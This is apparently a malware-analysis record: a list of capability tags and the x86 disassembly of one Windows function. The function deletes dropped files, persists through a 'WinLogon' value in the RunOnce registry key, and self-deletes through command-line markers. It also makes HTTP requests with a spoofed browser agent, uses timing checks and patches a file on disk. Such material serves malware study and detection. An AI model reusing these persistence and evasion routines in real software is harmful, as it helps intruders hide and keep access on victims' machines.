Function at 0x4022d0
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Create http request
Create process on windows
Create thread
Delete file
Delete registry key
Persist via run registry key
Query or enumerate registry value
Self delete
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdf8
push edi
mov dword [ebp - 0x10], 0
push str.MISSING
push 0x4055c0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.c:x.cab
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0xa], al
push str.c:inst1.htm
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 9], al
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402dc0
add esp, 4
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403400
add esp, 4
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 0x402250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp + 0x10], eax
push 0x4046a0
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x402571
push 0
lea ecx, [ebp - 0x224]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 0x224], 0
je 0x4023c8
push str.WinLogon
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea ecx, [ebp - 0x330]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x330]
mov dword [ebp - 0xddc], edx
lea eax, [ebp - 0x220]
mov dword [ebp - 0xde0], eax
mov ecx, dword [ebp - 0xde0]
mov dword [ebp - 0xde4], ecx
mov edx, dword [ebp - 0xddc]
mov al, byte [edx]
mov byte [ebp - 0xde5], al
mov ecx, dword [ebp - 0xde0]
mov dl, byte [ebp - 0xde5]
mov byte [ecx], dl
mov eax, dword [ebp - 0xddc]
add eax, 1
mov dword [ebp - 0xddc], eax
mov ecx, dword [ebp - 0xde0]
add ecx, 1
mov dword [ebp - 0xde0], ecx
cmp byte [ebp - 0xde5], 0
jne 0x402400
mov byte [0x406a70], 1
mov byte [0x406a71], 1
lea edx, [ebp - 0x220]
push edx
call fcn.00401d60
add esp, 4
mov byte [0x406a70], 0
mov byte [0x406a71], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x438]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402547
push str.del:_
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.__my_time:
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.my_time:
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
je 0x402508
mov ecx, dword [ebp - 0x43c]
add ecx, 5
push ecx
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x402547
lea eax, [ebp - 0x54c]
push eax
call fcn.00401450
add esp, 4
mov ecx, dword [ebp - 0x54c]
push ecx
push 0x40463c
lea edx, [ebp - 0x548]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x548]
push eax
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x4045a3
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x220]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.del:
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x402614
push str.del:
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x550]
add eax, 5
mov dword [ebp - 0x550], eax
push 0x404628
mov ecx, dword [ebp - 0x550]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0
je 0x4025f3
mov edx, dword [ebp - 0x554]
sub edx, dword [ebp - 0x550]
add edx, 1
push edx
mov eax, dword [ebp - 0x550]
push eax
lea ecx, [ebp - 0x660]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x402607
mov edx, dword [ebp - 0x550]
push edx
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x660]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.004030b0
movzx edx, al
test edx, edx
jne 0x402628
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp + 8]
mov dword [0x406a6c], eax
push 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 8], 0
je 0x402771
push 0x104
lea edx, [ebp - 0x768]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x768]
add ecx, 0xffffffff
mov dword [ebp - 0xdec], ecx
mov edx, dword [ebp - 0xdec]
mov al, byte [edx + 1]
mov byte [ebp - 0xded], al
inc dword [ebp - 0xdec]
cmp byte [ebp - 0xded], 0
jne 0x402682
mov edi, dword [ebp - 0xdec]
mov ecx, dword [str._ren]
mov dword [edi], ecx
mov dl, byte [0x404624]
mov byte [edi + 4], dl
push str.my_time:
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x76c], eax
push str._my_time:
lea ecx, [ebp - 0x768]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x76c], 0
je 0x402700
mov edx, dword [ebp - 0x76c]
add edx, 5
push edx
lea eax, [ebp - 0x768]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40273f
lea ecx, [ebp - 0x87c]
push ecx
call fcn.00401450
add esp, 4
mov edx, dword [ebp - 0x87c]
push edx
push 0x40463c
lea eax, [ebp - 0x878]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x878]
push ecx
lea edx, [ebp - 0x768]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x768]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0x768]
push ecx
push 1
push 0
push str.WinLogon
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x406a68], eax
cmp dword [0x406a68], 0
jne 0x402799
xor eax, eax
jmp 0x402bd4
mov byte [ebp - 0x12], 0
mov byte [ebp - 1], 0
mov byte [ebp - 0x11], 0
push str.my_time:
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x402937
push str.my_time:
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x888], eax
mov eax, dword [ebp - 0x888]
add eax, 5
mov dword [ebp - 0x888], eax
mov ecx, dword [ebp - 0x888]
push ecx
call fcn.004014a0
add esp, 4
mov dword [ebp - 0x880], eax
lea edx, [ebp - 0x884]
push edx
call fcn.00401450
add esp, 4
mov eax, dword [ebp - 0x884]
sub eax, dword [ebp - 0x880]
cmp eax, 0x127500
jle 0x402937
push 0
lea ecx, [ebp - 0x88c]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 0x88c], 0
je 0x402937
push 0x104
lea edx, [ebp - 0xaa0]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0xaa0]
add ecx, 0xffffffff
mov dword [ebp - 0xdf4], ecx
mov edx, dword [ebp - 0xdf4]
mov al, byte [edx + 1]
mov byte [ebp - 0xdf5], al
inc dword [ebp - 0xdf4]
cmp byte [ebp - 0xdf5], 0
jne 0x402873
mov edi, dword [ebp - 0xdf4]
mov ecx, dword [str._ren]
mov dword [edi], ecx
mov dl, byte [0x404624]
mov byte [edi + 4], dl
push str.my_time:
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0xaa4], eax
push str._my_time:
lea ecx, [ebp - 0xaa0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x884]
push edx
push 0x40463c
lea eax, [ebp - 0x998]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x998]
push ecx
lea edx, [ebp - 0xaa0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0xaa0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0xaa0]
push ecx
push 1
push 0
push str.WinLogon
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x402962
push 0x2710
push 0x406a7c
call fcn.00402130
add esp, 8
movzx edx, al
test edx, edx
je 0x40295e
mov byte [ebp - 1], 0
jmp 0x402962
mov byte [ebp - 1], 1
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x20019
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 8], 0
je 0x4029cc
mov dword [ebp - 0xaa8], 4
lea ecx, [ebp - 0xaa8]
push ecx
push 0x406a74
push 0
push 0
push str.Active_State
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4029c2
mov dword [0x406a74], 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x402bcc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xaac], eax
mov edx, 1
test edx, edx
je 0x402aef
lea eax, [ebp - 0xdd0]
push eax
push 0x406088
call fcn.00402be0
add esp, 8
movsx ecx, byte [ebp - 0xdd0]
test ecx, ecx
je 0x402a15
jmp 0x402aef
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xaac]
cmp eax, 0x927c0
jae 0x402a42
push 0x4e20
push 0
call fcn.00401450
add esp, 4
push eax
call fcn.00403630
add esp, 8
jmp 0x402a85
mov edx, dword [0x406a74]
mov eax, dword [edx*4 + 0x40453c]
push eax
push 0
call fcn.00401450
add esp, 4
push eax
call fcn.00403630
add esp, 8
mov ecx, dword [0x406a74]
add ecx, 1
mov dword [0x406a74], ecx
cmp dword [0x406a74], 9
jb 0x402a85
mov dword [0x406a74], 8
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 8], 0
je 0x402aea
mov dword [ebp - 0xdd4], 4
push 4
push 0x406a74
push 4
push 0
push str.Active_State
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402ae0
mov dword [0x406a74], 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4029e4
lea edx, [ebp - 0xdd0]
push edx
call fcn.00401d60
add esp, 4
push 0
push 0x80
push 3
push 0
push 0
push 0x1f01ff
lea eax, [ebp - 0xdd0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xbbc], eax
cmp dword [ebp - 0xbbc], 0xffffffff
je 0x402b86
push 0
push 0
push 0x4e
mov ecx, dword [ebp - 0xbbc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0xdd8]
push edx
push 0xd
push 0x405898
mov eax, dword [ebp - 0xbbc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0xdd8]
push ecx
push 0xd
push 0x406078
mov edx, dword [ebp - 0xbbc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xbbc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0xcc8]
rep stosd dword es:[edi], eax
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0xbb8]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
je 0x402bb4
mov byte [ebp - 0xab4], 1
push 0
lea edx, [ebp - 0xbb8]
push edx
lea eax, [ebp - 0xdd0]
push eax
call fcn.004034e0
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov esp, ebp
pop ebp
ret 0x10